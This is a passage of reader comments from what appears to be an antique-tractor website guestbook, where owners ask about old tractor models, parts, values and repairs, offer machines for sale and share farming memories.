Rocket wrote on Monday, June 24, 2013 (PDT):Grew up on one I m 60 and remember when I had to stand to operate it
Brian wrote on Sunday, June 23, 2013 (PDT):I have a 1954John Deere Crawler MC looking to sell. Located in upper Wisconsin . Please contact me at bkiller at netnet.net
G Sleight wrote on Friday, June 21, 2013 (PDT):The M5 that was pictured did the person get the 2500 or what did they get. Have an 1962 MM M5 and want to know what it value is. Use the tractor every year.
G Sleight wrote on Friday, June 21, 2013 (PDT):The M5 that was pictured did the person get the 2500 or what did they get. Have an 1962 MM M5 and want to know what it value is. Use the tractor every year.
Gary Allason wrote on Tuesday, June 18, 2013 (PDT):Peter, Your tracks are coming off because either your bushings, pins or drive sprockets are worn. Probably all three unfortunately. Look at your Sprockets, does the right side of your teeth, if the tooth is at 12 o clock have a larger radius than the left that is the side that drives the crawler forward. if so the sprocket is worn. Try backing up your hill. if the tracks stay on that is because there is less use and thus less wear in reverse over time. Your tracks have a pin and a bushing between each link. Idealy, the bushings take the wear and are replaced before there is damage to the sprockets. once the bushings wear out the sprockets contact the pins and both start to wear, . When that happens all three will need to be replaced. the fact that your tension adjustment won t take the slack out of the tracks points to this condition. if your bushings are just starting to wear through, it is possible to rotate them 180 degrees. but that wont help if the sprockets and pins are worn too. Google CRAWLER TRACKS PINS AND BUSHINGS and your will find a lot of good information. Use Google to find a shop that does pin and bushing replacement. You can find used drive sprockets from repitable parts dealers on line. Avoid the advice of reversing the drive sprockets, swapping sides , if you replace your bushings. It s true that doing that will put the side with less wear on the forward side and will last quite a while. the down side is that if you have put new bushings on it will begin to prematurely wear those out every time you back up. If you can rotate rotate your bushings, you might be OK to swap sprocket sides. Good luck.
Dorothy Frentz wrote on Tuesday, June 11, 2013 (PDT):I am looking for price for Oliver 60, about 1947, It has a wide front end serial # 460440C62
James L Pitcock wrote on Sunday, June 09, 2013 (PDT):I added a quart of transmission fluid to a full tank of gas to lubricate the valves on my 1940 9n for tractor, is this a good idea Thanks! James.
emnem wrote on Friday, June 07, 2013 (PDT):Hi I recently purchased a MM g1000 and needs an overhaul. I m looking for a service manual for free. I d really appreciate it if someone could email me one. Thanks
Mike Gladu wrote on Friday, June 07, 2013 (PDT):Just brought home a 420C in very good condition. Starts and operates perfectly. Bought it from an older gentleman who had this 45 years, and it has never spent a night outside in all those years. He recently put on new chains, sprockets, rolls and idlers. Also rebuilt the engine, brakes and clutches. Paid 3,000 and a promise to park inside every night. Bought this to work around my property. I have been in the construction business many years and owned many new large and small dozers over the years, this will the keeper .
shon wrote on Sunday, June 02, 2013 (PDT):info on a 48 B wiring diagram for 6 volt from generator to all gauges. Thanks.
john schacherer wrote on Tuesday, May 28, 2013 (PDT):does an f14 heisler overdrive have a vent or relief valve mine has a plug with a hole and a nail in the filler hole.when i hit a bump, oil comes out . can i put solid plug in
john schacherer wrote on Tuesday, May 28, 2013 (PDT):does an f14 heisler overdrive have a vent or relief valve mine has a plug with a hole and a nail in the filler hole.when i hit a bump, oil comes out . can i put solid plug in
Mike Thompson wrote on Saturday, May 25, 2013 (PDT):I have a early 60 s model Ford 2000 Super Dexta for sale. Tractor has been parked for a couple years and not used. The tractor has a blown out rear tire and motor is locked; tractor was running when it was parked. It would make a excellent tractor to restore or a parts tractor. Tractor is in pretty good condition. Email if interested.
John levy, Western Australia. wrote on Saturday, May 25, 2013 (PDT):If anyone is travelling to Western Australia I recommend that they visit the Dardanup Heritage Park south of Perth. There are many types of tractors from Ransomes up to D8s and many in between. All have been completely renovated, painted and in working order. A number of trucks have also been renovated and in working order. They are all under cover in huge sheds and look like new machines.
dale cox wrote on Monday, May 20, 2013 (PDT):What is the fluid in the rearend and quanty for my Fordson Dexta
kerry vorhis wrote on Sunday, May 19, 2013 (PDT):I have two ford dextas one for parts the other runs great has a front end loadergood runner same as the picture above
Hank D-NM wrote on Saturday, May 18, 2013 (PDT):My Super C just cracked the block behind the carb, over the winter. I thought I had drained everything beforehand. I have read this is a problem with this tractor. Can it be welded or the block replaced easily Please advise. Hank D, NM
Barbara Kasmiski wrote on Saturday, May 18, 2013 (PDT):does anyone know where I can find a cockshutt 30 1950 toy tractor my husband restored the big tractor, ertl took measurements of it, we had a 1/16th model, and after my husband died, it was missing. I would like to replace it. thank you.
billy joe wrote on Saturday, May 18, 2013 (PDT):how do you check the hydraulic fluid for the lift in the back of a 1958 fordson dexta.
jerry broderick wrote on Tuesday, May 14, 2013 (PDT):I have a 1948D Leader that I am restoring. Can any one tell me the paint color or code. Or tell me where I can get it Thank You Jerry
james boozer wrote on Saturday, May 11, 2013 (PDT):I need a injector pump for a ford 4000 172 dbgvcc429 do you have one for sale and how much
JIM wrote on Monday, May 06, 2013 (PDT):would like a wide front end for a cockshutt 50.
hennie stokesh wrote on Monday, May 06, 2013 (PDT):I want to know if some body can tell me where are the batteries normally fitted on a Cockshutt model 30. Thanks forhelp.
JOHN ROBERTS wrote on Wednesday, May 01, 2013 (PDT):I have super major 1964, 220 c.i.d. diesel. This tractor was made 4 years 61-64. agriline and Yesterdays tractors still have parts. I am looking for engine block, short engine, etc. for mine. If you have a tractor, whole or parting out,or just need my source infomation for parts. please email of call. 520 586 2022
John Hancock wrote on Sunday, April 28, 2013 (PDT):I posted earlier comment about hydraulic problem.The intake filter is on the right side of transmission. Sorry for confusion. It has been 30 years since we had tractor. Hope this helps.
John Hancock wrote on Sunday, April 28, 2013 (PDT):I noticed several comments about hydraulics not working.There is an intake oil screen that plugs easily on tractor we used to have. It is located on top of transmission on left side and has a cap with 4 nuts holding it. The screen is a long plastic tube with fine mesh.Pull it out. Soak in gas and blow out gently.Reinstall and see if that helps. I had to do that on a regular basis.
John Levy wrote on Thursday, April 25, 2013 (PDT):Before I was married in 1961 we had a Massey Harris 55K on two separate properties. We part filled the rear tyres with water to give them extra grip and built a timber and Masonite canopy on it. We pulled an AL harvester with it mostly as well as a Claas header in the WA wheatbelt. Being young and inexperienced at that time I inadvertently removed the radiator cap in above 40 Celsius whilst harvesting. I avoided being scalded though. On the second property we just used it as a hack as we had much bigger tractors there. I am now 74 and miss those days.
george prince wrote on Sunday, April 21, 2013 (PDT):I NEED RADIATOR FOR A MM MODEL U TRACTOR, SERIAL NO. 01203593 THANKS
John wrote on Sunday, April 14, 2013 (PDT):I have a farmall H that seems to be locked between gears in the field with a rotary mower attached. It starts with the clutch in but when I let out the clutch it stalls. What might be wrong, and what can I do
Tom Hohlbein wrote on Saturday, April 13, 2013 (PDT):I am interested in buying a front end loader for my D-15. I would like one that will work hydraulically. one with a bucket. I ll have to install a pump. Thank you Tom in Michigan p.s. a used loader
john proctor wrote on Thursday, April 04, 2013 (PDT):I have a 1956 oliver super66 diesal tractor narrow front end original runs and drive. What s it worth. Needs paint all the steel is good
Chris Hale wrote on Tuesday, April 02, 2013 (PDT):Hello All,, looking for two 13x 24 rear rims for a 1944 Oliver 80.These are a split rim with a lock ring. Mine are eaten out by calcium
Patty wrote on Tuesday, March 26, 2013 (PDT):Have an Oliver 1900, series B 4 wheel drive diesel, just rebuilt after a forest fire, larger tires on the front than the one in this picture. Am wondering what this tractor s value is for insurance purposes
Lester Qualls wrote on Monday, March 25, 2013 (PDT):trying to find year of our tractor,the power lift control is on the steering column
Lem Hardy wrote on Saturday, March 23, 2013 (PDT):I am working on a Leader Tractor and I need a good part number for the Driveshaft Oil Seal. If anyone has a number I would appreciate it.
Jeff Blaney wrote on Monday, March 11, 2013 (PDT):These variants were sold through Waterloo Mfg. of Waterloo Ontario, Canada. They produced steam traction engines but later marketed various American gas tractors in Ontario such as Eagle, Rock Island, and Minneapolis Moline. Early MM models that were marketed included the KTA pictured above , FTA and 27-44.
charles kyle wrote on Saturday, March 09, 2013 (PST):I have 1952 case that run great,then one day seemed to vaper lock,cant get it started back.tired of messing with it ,would be ideal for restoration..if interested call 502-827-1727 will sell cheap!!!
Randy Betker wrote on Sunday, March 03, 2013 (PST):I have a cockshutt 40 with a loader on it and I use it all the time. I also have a spare 40 for parts,
Paul Fett wrote on Monday, February 18, 2013 (PST): I have a 1953 Case SC wide front, foot clutch serial number SC8031672 which I am in the process of restoring. Just got all the engine parts I needed and will start rebuilding the engine soon. I am waiting to find out if that tractor came new with a mageto or distributor
Dave Van Horn wrote on Saturday, February 09, 2013 (PST):I have a sampson tractor located in a field in oklahoma, wheels are good tank is there but rusted some parts missing. Is any one interested.
Neil wrote on Friday, October 12, 2012 (PDT):I am looking for my dads original JD 80. serial # 8000771 If you can locate it for me I would greatly appreciate it. would even consider a reward. Thanks Neil
ted plunk wrote on Friday, August 31, 2012 (PDT):i have a jd 60 propane. I need the mixing pot for the jd
wayne tanner wrote on Sunday, August 12, 2012 (PDT):I have a 1930 G-2 15-25 Rock Island repainted new decals, and interested in selling it. runs great and have run my threshing machine with it and have plowed with it. ser.# 100085. I know they aren t real common therfore of more value then 10-20 mccormick or tractors like that.If intrested or know someone that is contact me.
willard williams wrote on Thursday, August 09, 2012 (PDT):I HAVE A 1965 MM M5 THIS IS ON LP RUNS EXLENT LOVE IT IF I SOLD IT I WOULD ASK AT LEAST 2500. ITS I S WORTH MORE
larry dufrene wrote on Sunday, July 22, 2012 (PDT):how much would it cost to rebilt an injector pump on a 4 cylinder ford diesel tractor between 1962 and 1965 i got diesel leaking into the engine
G. Clarke wrote on Sunday, July 15, 2012 (PDT):I have a MM U parts tractor for sale near Calgary Alberta widefront end 39 tires 35.00
gilbert Pargmann wrote on Monday, July 02, 2012 (PDT):I am looking for a differential for a cub tractor and can t find one. All I need is the box. Some bolt thread sockets are broke out and differential is broke out. where can I look
steven m. heslop wrote on Wednesday, June 27, 2012 (PDT):i have a 1938 oliver 70 that i pull,i have over-hauled it several times,but the last problem i come across was--very little or no oil pressure.could not understand why..plasti-gauged the rod-bearings,added a different oil pump,and still nothing.then i found a 15 16 plug just under the oli pressure line on the right side of the block and found this is where the pressure is regulated from.i cleaned it all up and added some more spring to it and wa-la,i have oil pressure,cant wait to pull.1-913-609-4473--cell
monty ratliff wrote on Tuesday, June 12, 2012 (PDT):I JUST PURCHASED A FORDSON SUPER MAJOR I THINK. ENGINE NUMBER 08D951688 . IT WILL NOT START I HAVE DONE ALL THE CLEANING OF THE FUEL LINE , REPLACE THE INJECTOR NOZZLES,CHECKED THE TIMING SEEMS TO BE RIGHT ON, SEEMS TO HAVE FUEL TO THE INJECTORS, I EVEN PUT AN ELECTRIC FUEL PUMP ON IT STILL WILL NOT START, IT HAS A FRONT END LOADER AND A BACKHOE ATTACHMENT ON IT, NEED HELP ANY IDEAS , I KNOW IT AN OLD ONE BUT IT LOOK LIKE IT HAS A LOT MORE WORK IN IT. 06/12/2012 THANKS MONTY
brandon wrote on Thursday, June 07, 2012 (PDT):i have a farmall super c serial on seat toolbox is model fc serial#110983 engine serial# 354898R1 cylinder head serial # 251172R1 my question is this a super c block and is the head a super c head and also there is no water pump so is this a super c tractor or just a regular c
Dave Cushway wrote on Saturday, June 02, 2012 (PDT):I have a 1945 Cockshutt 70 tractor for sale. I am open to offers. The tractor is in Ymir BC, Canada.
paul jackson wrote on Sunday, May 27, 2012 (PDT):ford super dexta 3 cylinder perkins with simms p4588 injector pump acted like it was running out of fuel died will not start or even try with starting fluid has new fuel lift pump help is needed
Linda Bufford wrote on Sunday, May 27, 2012 (PDT):mary harris wrote on Friday, May 25, 2012 PDT ; does anyone know the exact year of this farmall m tractor with this serial # FBK208533 let me know asap. YOU HAVE A 1949 TRACTOR.
Dick Curwin wrote on Monday, May 14, 2012 (PDT):My Mongomery Ward General by Avery/Cletrac stopped running. Investigation showed BOTH contact points had become seperated and were laying on the bottem of the Mag. Do I need a new mag or will new points solve it.
Lloyd Sorlien wrote on Wednesday, May 09, 2012 (PDT):I still have a wd45. runs good. we use it in tractor pulls. It is all stock but pulls good. When we bought it it was our main tractor. We said we had the world by the tail. Pulled a 3=14 mounted plow in 3rd. gear most of the time
Bruce wrote on Wednesday, May 09, 2012 (PDT):looking for drive shaft for loader .I need a 3/16 x3/4 x 141/2 6- spline It belongs to a 550 oliver 1973
Curt Foley wrote on Saturday, May 05, 2012 (PDT):I have a 1900 Oliver tractor that I am looking to sell. Works extremely well. Currently has a bucket and grapple on it. Has the 453 Screamin Demon diesel engine with front wheel assist. If interested, please contact me at 651.280.8226 Perfect tractor for someone who wants to restore.
Martin Kandell wrote on Friday, May 04, 2012 (PDT):Say, would anyone happen to know if there s any Oliver tractor and implement shows anywhere in Michigan, as I would be interested in attending such a show. Thanks. Martin
Alan Brandle wrote on Sunday, April 29, 2012 (PDT):I have a 1927 Rock Island Model F tractor. I am looking for a belt pulley, The part NO. is TF-510 , according to the manual. If someone needs pictures of the manual i would be happy to send.
Bob Kolve wrote on Wednesday, April 18, 2012 (PDT):I would like to know what a Cockshut 40 is worth.It is in very good condition.About a 1952 model.
dick cheslock wrote on Sunday, April 08, 2012 (PDT):need a battery retainer for a d-15-also need a picture of a original d-15 to help me restore mine thank you
dick cheslock wrote on Sunday, April 08, 2012 (PDT):need a battery retainer for a d-15-also need a picture of a original d-15 to help me restore mine thank you
will tallmon wrote on Saturday, March 31, 2012 (PDT):i have two allis 200 tractors both runing with one working a brush hawg. i am thinking about selling them. does any body know what there worth.
Jakob Vanderweerd wrote on Thursday, March 22, 2012 (PDT):Have a 220 with frontwheel assist. It s running realy good and has duals on the front and the back.Has only 2400hr. Realy great condition and i m willing to sell it.519-532-2682 no sunday calls ON.CAN.
Peggy Eiler wrote on Sunday, March 11, 2012 (PDT):I am in search of an electric starter for a Farmall F-20. Can anyone please help me locate or know of a source to contact Thank-you
Pete wrote on Wednesday, March 07, 2012 (PST):I have a fordsod dexta 58,61 I need a starter for it if you no of one please call 620 338 0338
Allan Sinton wrote on Wednesday, February 29, 2012 (PST):I have the same question as Dave Parker in April 2008 regarding the colour of pain for a Judy, horse drawn Cockshutt plow. Was any answer given in past
SRHixson wrote on Tuesday, February 28, 2012 (PST):I have a Moline M5 diesel that I am attempting to get running now. Hasn t been run in years and has sat outside. I have thought about getting rid of it and getting a different tractor cause man it s rough and I need a working tractor. Anyone interested in a trade
Roland Bronson wrote on Thursday, February 23, 2012 (PST):looking for the dept control lever that goes with a farmall cub 189 two way plow plus the dog bones and the rock shaft L, have all the other parts I,am located in northern N.H. call 603 444 5044.
Roland Bronson wrote on Thursday, February 23, 2012 (PST):looking for the dept control lever that goes with a farmall cub 189 two way plow plus the dog bones and the rock shaft L, have all the other parts I,am located in northern N.H. call 603 444 50o44.
Mike wrote on Wednesday, February 22, 2012 (PST):I m looking for a manual for a co-op c. I can find the others, but nothing on the c. Would any of the other model manuals include the c or be the same
travis smith wrote on Wednesday, February 15, 2012 (PST):if tractor is hard to start, u need to clean the wire mesh in the breather really good. i used brake cleaner, it took alot but i got it done with the help of a bucket of solvent. could also take it to a radiator shop and let there tank of solution clean it. also my would die after running for just a few minutes. there is a small screen filter on the fuel shut off valve inside the tank. if anyone could help me find a fuel tank for a super dexta would b appreciated. mine keeps sprouting leaks. thanks
Larry wrote on Thursday, February 09, 2012 (PST):Hey Richard , check with Dan Osborne in Texas for a gv1 , We bought one and shipped it all the way up to Canada -- it s a great pulling toy .
Richard wrote on Tuesday, February 07, 2012 (PST):I cant believe how hard it is to find a MM GVI. I having a hard time finding one
Richard wrote on Tuesday, February 07, 2012 (PST):I cant believe how hard it is to find a MM GVI. I having a hard time finding one
Ron McCoy wrote on Saturday, February 04, 2012 (PST):Have a 1945 BF Avery A tractor. Would like to know the brand of motor and where the serial number is located on tractor, and where parts are available. Need a mechanics manual for tractor. Thanks, Ron
B.G. wrote on Thursday, February 02, 2012 (PST):I wonder if someone could help me with how much to ask for a JD Z101 sickle; 1941 ZTU MM tractor; 1959 New Holland Baler; 1959 5 Star MM Tractor...Also have an AC 8010 Tractor,clutch needs to be replaced and an Old Case .Tractor..these have been sitting in the pasture for years since my Dad passed away... and people keep coming by to ask me how much I would want for them.....Is there anyone that would be kind enough to give me a ballpark figure ..thank you so very much..Contat B.G. at bgd111 at sbcglobal.net; or 405 637 5354
B.G. wrote on Thursday, February 02, 2012 (PST):I wonder if someone could help me with how much to ask for a JD Z101 sickle; 1941 ZTU MM tractor; 1959 New Holland Baler; 1959 5 Star MM Tractor...Also have an AC 8010 Tractor,clutch needs to be replaced and an Old Case Tractor..these have been sitting in the pasture for years since my Dad passed away... and people keep coming by to ask me how much I would want for them.....Is there anyone that would be kind enough to give me a ballpark figure ..thank you so very much
randy williams wrote on Thursday, February 02, 2012 (PST):this note is for anyone looking for oliver oc clet trac parts try zimmerman clet trac. I found they have any thing I need for my oc4. cranks books you name it they got it, hope I was of some help.
randy williams wrote on Thursday, February 02, 2012 (PST):this note is for anyone looking for oliver oc clet trac parts try zimmerman clet trac. I found they have any thing I need for my oc4. cranks books you name it they got it, hope I was of some help.
brandi wrote on Friday, January 27, 2012 (PST):need to find transmission parts for a leader tractor its either a model b or a d thanks
Kerry Morris wrote on Monday, January 23, 2012 (PST):I m nearing complete restorataion on a 1964, D-15 Series 11 Allis Chalmers. It was all there but in rough shape after recently retrieving it from my father-in-law. Ive rebuild everything on it and have returned it to its original condition in every respect. The project has been great fun even though I have invested more money than its probably worth. I grew up working with old ACs in Missouri as a kid so this project was a step back in time. Once done, the tractor should really be nice and show very well.
k thomas wrote on Sunday, January 22, 2012 (PST):I just got a 99 gas, thw seller said its a 1953 but the serial number on the moter indicates its 1940. is there another serial number somewhere Thank you... =
indian mi wrote on Friday, January 20, 2012 (PST):looking for 2655 oliver 4 wheel drive tractor
john thompson wrote on Tuesday, January 17, 2012 (PST):I m interested in finding a Super 55 can anyone help
Bill McKenna wrote on Monday, January 16, 2012 (PST):Help! My Massey Harris model #81S built in 1946 needs some help. I have used Hercules to plow the snow from my 600 foot driveway for the last ten years with no problems except he doesn t like to start when it s double digits below zero, censius . Yesterday he tried to start on the first turn over but sputtered to a stop. When I tried a second time, the starting motor made that whirring sound but would not engage. I gently rocked the engine back and forth while in neutral using a cooling fan blade and tried again with no luck. I have tried to remove the starting motor however, something inside the bell housing seems to be stopping me from removing the starter so that I can examine it more closely. My mechanic warned me to be careful or I could end up with a real mess. Any suggestions would be appreciated; there s a big snow storm coming on Thursday. Oh, we are way up here in Northern Ontario, Canada. Bill McKenna
Gary wrote on Monday, January 09, 2012 (PST):Looking for final drive parts for OC-12 close to Ontario if possible
Mel wrote on Sunday, January 01, 2012 (PST):I have a couple questions about the ZB Mineapolis tractor. How do you set it up for stock tractor pulling What s a good weight class to pull it in If you add weights, where do you suggest they go About what horse power do they have
Wayne Brocklebank wrote on Saturday, December 24, 2011 (PST):I have a 1956 Massey Harris model 444 tractor. For the live PTO clutch I need the 12 springs called spring, pressure . These springs are a coil spring about 1 and 1/4 inches high and about an inch in diameter. The part number I have is 1005518M1. The 444 Massey Harris makes a live PTO by putting a clutch on the right axle going to the right rear wheel. The clutch is located out side the transmission/differential housing, under the floor board on the right side of the tractor behind the brake pedals. It has absolutely no connection and is not in any way related to the main clutch of the tractor on the back of the motor. You can also contact me at phone number 519-881-2168 or 480-525-1332. Thanks
Dan Peteers wrote on Tuesday, December 20, 2011 (PST):I have an Oliver 1800 diesel that is in pretty good condition. One problem - the Pto lever won t stay engaged. I have tried to adjust the PTO clutch without any success. I have pushed in the locking pin but cannot get the nut to turn. While standing in back of the tractor, looking towards the front should I be turning the nut clockwise or counter clockwise to tighten the clutch Also how do you keep the assembly from turning while adjusting it This tractor was used mainly as a loader tractor so the PTO has had very little use. Any sugestions would be greatly appreciated. Thank you. Dan
Harvey Kirk wrote on Sunday, December 11, 2011 (PST):I have a brand new never used engine block for an f14 . will sell for 500 .
Earl Wadewitz wrote on Sunday, December 11, 2011 (PST):I have a 48D for sale. It s been in the weeds for 20 years Be good for parts or restoration as nothing is missing Earl at 715-322-4551
Lucien Hamernik wrote on Saturday, December 03, 2011 (PST):Can someone tell me what were the original specifications and manufacturer for Cockshutt 30 model tires Thanks.
Scott wrote on Wednesday, November 30, 2011 (PST):My son recently picked up a MH 22. I m trying to help him get the parts he needs. Is it a 2 point or 3 point hitch. The piston works, but there are no arms. Trying to locate all the pieces to get the hitch to work with a blade. Thanks for any help.
Russ Cmejla wrote on Thursday, November 17, 2011 (PST):See your local radiator repair center with the unit or dimensions in hand. See if they can help you get a workabable radiator patched up for your T9 gas crawler. What could it hurt
Bobby Lovett wrote on Tuesday, November 15, 2011 (PST):Ilive in dublin ga, Ihave a dexta or super dexta the numbers next to the clutch were the tractor bolts together are 957e79082 the other numbers are k278, next to the head bolt on the numbers are 1419719 and the other numbers are 60280098f and the other number are 2ckn1372 please help me identify what month and day and year thanks ps my dad worked on fordson tractors for over 30 years but did not teach me and my brother about mechanics work
Mark Sheley wrote on Sunday, November 13, 2011 (PST):Just purchased a 48D#10436. Need marvel carb parts,any help would be greatly appreciated.
Eldwyn Van Bruggen wrote on Tuesday, October 25, 2011 (PDT):I would like the e mail address of some of you who have Samson tractors so I could get in touch with you and maybe you could help me locate some parts and share some info thanks Eldwyn I am in No. Dak..
Chris Edy wrote on Tuesday, October 25, 2011 (PDT):Selling a T20 1936 for parts Engine No good Tractor was used very little before it blew a rod Tracks and trans in greate shape
Don wrote on Tuesday, October 25, 2011 (PDT):I have a 140 with the ID tag removed and saw on one of the web sites how to identify by looking at sections of the tractor such as the engine block which shows 10-31-M for the year made.The M i believe is the year built but i can t find the web site now.I appreciate any info. Thanks!! Don
leo muller wrote on Tuesday, October 25, 2011 (PDT):. i have a mccormick Derring 0 14 1938 or 39 just starting to restore it its complete, but i would like to know if some of them come out starting on petrol and switched over to kerosen like mine is at present. New Zealand had alot of these models imported but they are starting to become rare
Mark Thomas wrote on Friday, October 21, 2011 (PDT):I just bought a 1949 Te20 fair condition with 4 implements for 1800s. It runs great and most everything works accept the lights on front and the oil pressure gauge. It also needs two new front tires and could also use a paint job. Can anyone tell me if this was a good deal or not
David Villarreal wrote on Wednesday, October 19, 2011 (PDT):Where can I get models of Moline tractors I want to start a collection. My dad used to drive these tractors when we were growing up near Plainview, Texas. Please let me know where I can search to order models for my collection. David Villarreal Mission, Texas
Georges Caron wrote on Tuesday, October 18, 2011 (PDT):My father was an owner of this tractor , in Canada it s a Cockshutt 70 and the color was red ,,,,,If possible , I want known if I can find a little model scale of 1 16 of this one for my collection the color can be green too ....thank you for the information if available
Brandon wrote on Tuesday, October 18, 2011 (PDT):I have a 1937 F12 for sale. It s been sitting for 25+ years, so no idea if it runs. But it does turn over and seems to have compression. Rubber on tires is shot, but the steel of the spoked wheels is good. Location; Wausau, WI. Email for pics or more information.
Dwight tyndall wrote on Tuesday, October 18, 2011 (PDT):I have a 1956 super 55.I,m looking for the hood piece that curves over the radiator cap ti the grill.also I need the lid to the tool box that is below the clutch pedal.my super 55 is in great shape and I love it.one other thing,I need a pot cover.I would appreciate any help.my email is tyndalld at intrstar.net.
Lewis wrote on Monday, October 17, 2011 (PDT):Hello every body, Well I never operated a 44 but the man I work for had one, but what I did run in 1968 was a 444 massey harris with power steering and that tractor was bad to the bone! and I was fifteen at the time and now I am 58 and my Twin brother got that5 tractoe right now! and it is still bad to the bone! and it is steel strong, but it need a nut on the rear axle to hold the hub on and if any body has one please email me are call me at 919-842-2896 Thanks!
vi wrote on Friday, October 14, 2011 (PDT):Have an F-20 to sell. 1930 s I believe. Wanting someone with willing to give LOL
Gordon Martin wrote on Wednesday, October 12, 2011 (PDT):Drove a loaner KO in 1945 while we were waiting for a new HD-7. Old model with two stacks no mufflers. Used to shoot blue flame about 8 all night and every few minutes a batch of sparks flew out. Any KO s still running
Vic wrote on Friday, October 07, 2011 (PDT):I have a Oliver super 55 for sale 54 or 55 gas it has green wheels. It is located in southern Indiana asking 2500. 812.499.2171 if interested
Shannon Staggs wrote on Thursday, October 06, 2011 (PDT):We have a 1946 Harvest International Model B made in Chicago, for sale. In 80% mint condition, been restored. If interested please call 530 664-4244, and ask for Jim.
Shannon Staggs wrote on Thursday, October 06, 2011 (PDT):This is for Mike who is looking for a 1946 International Harvester we have one for sale. It s in much better condition than the picture above. If interested please e-mail us as soon as possible. I m willing to negotiate a lower price than you offer Bud.
Shannon Staggs wrote on Thursday, October 06, 2011 (PDT):This is for Mike who is looking for a 1946 International Harvester we have one for sale. It s in much better condition than the picture above. If interested please e-mail us as soon as possible.
BRYAN BOWMAN wrote on Friday, September 30, 2011 (PDT): I RECENTLY PURCHASED A SUPER55 AND WONDERING IF ANYONE IN TENNESSEE AREA HAS ANY IDEA WHERE TO FIND PARTS NOWADAYS FOR THESE GREAT TRACTORS
Steven Wilson wrote on Friday, September 30, 2011 (PDT):I have my dads old super oliver55 in original condition it was running 2year ago it has the original tires on it my mom wants to sell it what kind of value does it have it is gas and has some surface rust please any one email me with some info or post on this site
Bill Bryant wrote on Monday, September 26, 2011 (PDT): 830 609-0202 Interested in front end hydraulic loader for D15. I am located in Texas. Please contact if you have a good working order loader at reasnable cost.
Pappy Cox wrote on Sunday, September 25, 2011 (PDT):I have 2 leaders 1 is a 1937 model the story is it was built in their original shop that was in a horse barn.This tractor is so crudely built it is just unreal,and only hookup on it is a drawbar that connects right behind the front end .The other 1 is a 48 model d it s a great shape needs restoring ,it was running 5 yrs ago have used it since
stacy powell wrote on Sunday, September 25, 2011 (PDT):we have an oliver super 66 that was converted to propane. we want to convert it back to gasoline. how hard will that be is this model a collectable
David Enochian wrote on Friday, September 16, 2011 (PDT):We had a Silverking with the open wheels in the fron like a 9-N would. My wife had learned to drive on this tractor. I had heart surgery and decided I could not restore it so we sold it in about 2002 to a gentleman in Frordia. We live in Chardon Ohio near cleveland. The buyer came up from Fla. and with the halp of his son in Pa. bought it and took it to Fla to restore it. We wanted to keep track of it so that hopefully one day we can buy it back. Any help would be wonderful. Thank you. David
Eleanor Loewen wrote on Tuesday, September 13, 2011 (PDT):I have a 1919 10 18 in parade condtion recently painted. It does not have lugs on rear wheels. The front wheels are smooth. It is shedded. It needs to be sold.
James Ferguson Norman Ok. wrote on Monday, September 12, 2011 (PDT):I am restoring a1962 Gvi.Itset out in a field for about 15 years.Someone stole the radiator but I found one up in Ohio.That man had a hundred Moline tracators for salvage.This is a migaty strong mchine.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the 